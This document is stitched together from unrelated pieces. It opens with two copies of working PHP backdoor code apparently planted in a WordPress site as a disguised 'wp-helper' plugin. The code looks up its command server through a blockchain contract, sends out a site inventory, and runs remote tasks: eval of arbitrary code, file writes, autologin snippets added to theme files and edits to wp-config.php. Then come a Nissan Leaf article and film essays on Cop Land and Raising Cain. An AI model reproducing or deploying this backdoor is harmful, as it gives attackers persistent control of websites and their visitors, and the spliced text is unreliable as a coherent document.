// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Nissan has just unveiled its next generation of the Leaf, the world’s best-selling electric vehicle. We’ve had the opportunity to drive the car in Japan, and you can read about that experience in our review. As for the nuts and bolts of the 2018 Nissan Leaf, here are the things you need to know. POWER The 2018 Leaf is more powerful than the outgoing model, providing 147 horsepower and 236 pound-feet of torque. That’s an increase of 40 horsepower and 49 pound-feet compared to the current model. RANGE The 2018 Nissan Leaf uses a 40-kWh battery pack good for 150 miles of driving range on a single charge (up from the current 30 kWh and 107 miles of range). For the 2019 model year, Nissan will release an “e-Plus” version of the Leaf with more power and a higher battery capacity, expected to provide more than 225 miles of driving range. TECH The new Leaf features ProPilot Assist and e-Pedal technology. ProPilot Assist is a hands-on, single-lane semi-autonomous driving system that basically combines stop-and-go dynamic cruise control with lane-keeping technology that does most of the acceleration, braking and steering work for you. E-Pedal is a system that allows you to turn on one-pedal driving. It greatly increases the regenerative braking, and will even hold the car on a steep incline, so you almost never need to touch the brake with e-Pedal turned on. Nissan will introduce ProPilot Park, an autonomous parking system, on the Leaf at a later date. PRICING The 2018 leaf is $ 690 cheaper than before, with a starting MSRP of $ 30,875 (including destination charges). That’s before the federal tax rebate of $ 7,500, plus any local incentives. That tax perk won’t last forever, though. Nissan has already sold over 112,000 EVs in the U.S., and beginning at 200,000 rebates per automaker, rebates begin stepping down every six months until they’re gone. ON-SALE DATE The 2018 Nissan Leaf will go on sale in Japan on Oct. 2, 2017. It goes on sale in the U.S. in early 2018. Related Video:
When James Mangold’s Cop Land was released to theaters twenty years ago this week, it came on a wave of expectation and hype that was all but impossible to meet. This was a big, prestige crime picture from Miramax, three years after Pulp Fiction, and the similarities couldn’t have been clearer: it was the second film from a rising young director – James Mangold, in this case – boasting a big ensemble cast (including Harvey Keitel) led by a giant star of the ‘70s and ‘80s who was sorely in need of a career renaissance. The Travolta of Cop Land was Sylvester Stallone, who (in true dedication-to-craft form) put on 40 pounds and worked for SAG scale to play a sad-sack small-town sheriff. Whispers abounded that Stallone was going to get an Oscar nomination, his first since Rocky all those years ago.
And then the movie came, and quickly went. Reviews were mixed – not bad, exactly, but not the kind that a movie like this one needed, and the commercial reception was muted as well (Miramax did the film no favors by releasing it in the dead zone of August rather than the awards-friendly fall, in what could only be read as a vote of low confidence). It did fine – $ 44 million on a $ 15 million budget – but certainly not Pulp Fiction numbers, and that was the expectation. (“It’s such a dark and sad tale, less jazzy and more of a kind of morality tale” than Fiction, Mangold would later explain. “The star value got so high, and Miramax wanted the grosses to be so high.”) Stallone didn’t get his Oscar nomination; that was still nearly twenty years away. But it was a hell of a performance, and Cop Land holds up as a pretty good little thriller, a Sidney Lumet movie in a Martin Scorsese movie’s clothing.
That comparison is mostly due to the supporting cast, which is loaded with Scorsese vets: Ray Liotta, Frank Pelligrino, and Paul Herman (Goodfellas), Cathy Moriarty (Raging Bull), Frank Vincent (both of those films, plus Casino), Keitel (you know), and Robert De Niro (you really know). Much of the rest of the cast is comprised of actors who would turn up, at one point or another, on The Sopranos, which premiered two years later: Edie Falco, John Ventimiglia, Robert Patrick, Annabella Sciorra, Tony Sirico, and Arthur Nascarella. (Also appearing: Peter Berg, John Spencer, Malik Yoba, Paul Calderon, Noah Emmerich, Janeane Garafalo, Bruce Altman, and Method Man. It really is a jaw-dropping cast.)
But the story is pure Lumet, diving into the world of New York police corruption and cover-up. It’s set in the fictional New Jersey town of Garrison, just over the river, inhabited almost entirely by New York City cops; according to De Niro’s opening voice-over, “They made themselves a place where the shit wouldn’t touch ‘em.” Stallone’s Freddy Heflin wants to be one of those cops, but an act of bravery (to save his high school crush, sensitively played by Sciorra) left him deaf in one ear, and thus ineligible for the force. He instead toils as the sheriff of Garrison, and in a town that’s filled with cops, there’s not much crime to police. Maybe.
You see, one night there’s this encounter on the bridge that goes bad, when a car full of African-Americans wave a steering wheel lock at an off-duty cop (Michael Rapaport); he mistakes it for a gun and shoots them dead. (It’s more plot point than social commentary, but it still has a kick; the scene is filled with echoes of NYPD’s ongoing history of killing unarmed black suspects, before the film and since.) Keitel, the force long-timer who basically runs the show in Garrison, is the officer’s uncle, so he’s got reason to “fix” this mess, and when an attempt to plant a gun fails, the suspect fakes his own suicide. He just has to hide in Garrison for a while, where presumably, nobody will notice.
About the only guy who comes looking is Internal Affairs officer Moe Tilden, played by a bristling, impatient De Niro, with just the right bad haircut and facial hair. The charged scene in a convenience store between frequent co-stars Keitel and De Niro isn’t exactly Heat Deux, but it is a thrill to see them share the screen again, playing all the scene’s forced grins and thick subtext (and nodding to similar scenes in Mean Streets and Taxi Driver). Liotta, meanwhile, is flat-out terrific in a performance that begins at the level of bleary-eyed, coked-up desperation in the May 8 sequence of Goodfellas, and keeps digging; he’s the dirty, in-too-deep undercover guy who’s trying to get out, advising his buddy Freddy not to take Tilden up on his offer to help him by being “a real cop.”
In other words, Freddy is an honorable man in a crooked town, a broad set-up that tips the picture’s Western influence (echoes that would recur in Mangold’s most recent picture, Logan). By the end of the film, Freddy has locked himself in the jailhouse to keep the bad guys at bay, a la Rio Bravo; when he tries to take his man in, Uncle Ray’s goons fire a gun next to his good ear. Stallone plays the pain that follows with agonizing realism, and Howard Shore’s ace score segues into his damaged headspace, all muted environmental sounds and the squeals of his decaying hearing. And from there, we get the figure of the lone lawman walking the streets of his city, gun in hand, steely determination on his face, choosing at long last to stand up and fight back. By the time he arrives at Tilden’s door, bleeding but immovable, it’s not only an inspiring moment, but an emotional one – particularly as Tilden encourages him to “Come on inside,” accepting and protecting him.
There’s something fascinating happening between the lines in that moment as well. Stallone’s physical immersion in the role was breathlessly reported, and the first time you see his gut, as he leans over the neighborhood bar’s pinball machine (which chirps “You have no authority” when he loses, a detail that’s a touch on the nose), it is jarring. But it was the right move. The oiled-up physical specimen that Stallone usually presented himself as didn’t match this character at all, and he uses his physical transformation to craft a likable schlub turn, reminiscent of the original Rocky. He’s a sad guy, mournfully spinning old Springsteen songs (from The River, of course), and this is a quiet, understated, melancholy piece of work; he lets Kietel glower, Liotta chew the scenery, and De Niro have the meltdowns. He doesn’t try to top them, choosing instead to underplay, beautifully. You get drawn into the way he listens, or the simplicity with which he explains his motives to Keitel’s Ray: “I look at this town, and I don’t like what I see anymore.”
More than that, though, there’s something wonderful about the way the film uses Stallone’s (presumed) intimidation towards his co-stars, who were roughly his critical equals post-Rocky, but who spent the years after accumulating awards and kudos while he grew more cartoonish, in increasingly disreputable vehicles. The reverence and hesitation Freddy feels towards these “real cops,” and his desire to be one of them, isn’t hard to conflate with Stallone’s own task in Cop Land, to prove himself more than a name and a muscled-up husk. When Tilden approaches Freddy, he cuts him down: “You may be law enforcement, and so am I. But you are not a cop.” Substitute “movie star” for “law enforcement” and “actor” for “cop,” and you’ve got some idea of the off-screen dynamic at play. And ultimately, Cop Land’s greatest accomplishment – so many years before Creed – was to watch Stallone remind us that he is, indeed, an actor after all.
“Cop Land” is streaming on HBO GO and DirecTV, and available for rental or purchase via Amazon, iTunes, and the usual platforms.
http://flavorwire.files.wordpress.com/2017/08/cop-land.jpg
Flavorwire
Rarely do we get the opportunity to take a second glance at something that has become, without exaggeration, a new film. Yet that’s the case with Brian De Palma’s Raising Cain, 25 years old this month, but recently available (via an excellent Scream Factory collector’s edition) in a recut that changes the movie entirely. It’s labeled, as such things usually are, as the “director’s cut,” but that’s a misnomer; it’s a fan edit, originally assembled as an online video by director Peet Gelderblom, using an early draft of the script as his guide.
You see, De Palma had admitted, in interviews subsequent to Cain’s 1992 release (including those in the documentary De Palma), to a drastic eleventh-hour reordering of the movie during post-production — a knee-jerk response to poor test screenings, in which he shuffled its scenes into a more traditional and chronological structure. Gelderblom returned it to its original, more experimental form, and in the process, rescued it. This viewer (and De Palma fan) originally saw the film in its theatrical release, revisited it a few years later on video, and found it to be adequate but not particularly special both times – one of the filmmaker’s minor works. The new version stands with the best of his later films.
It’s a cheerfully bonkers movie, concerning split personalities, adultery, child kidnapping, and (of course) murder, full of fake-outs and shock turns, playful camera movements and formal experimentation. The new version, however, takes a bit longer to get to the nuttier elements, instead opening with the focus squarely on Jenny (the wonderful Lolita Davidovich), a doctor, mother, and wife who finds herself, rather suddenly, contemplating an affair with an old flame (Steven Bauer). She hesitates, though; as a friend points out, she is “married to the perfect man.” That would be Carter (John Lithgow), a renowned child psychologist who’s taken time off to raise their young daughter. But there’s something slightly off about Carter, and his wife has a “horrible feeling” that his compulsive nature “has something to do with his father.”
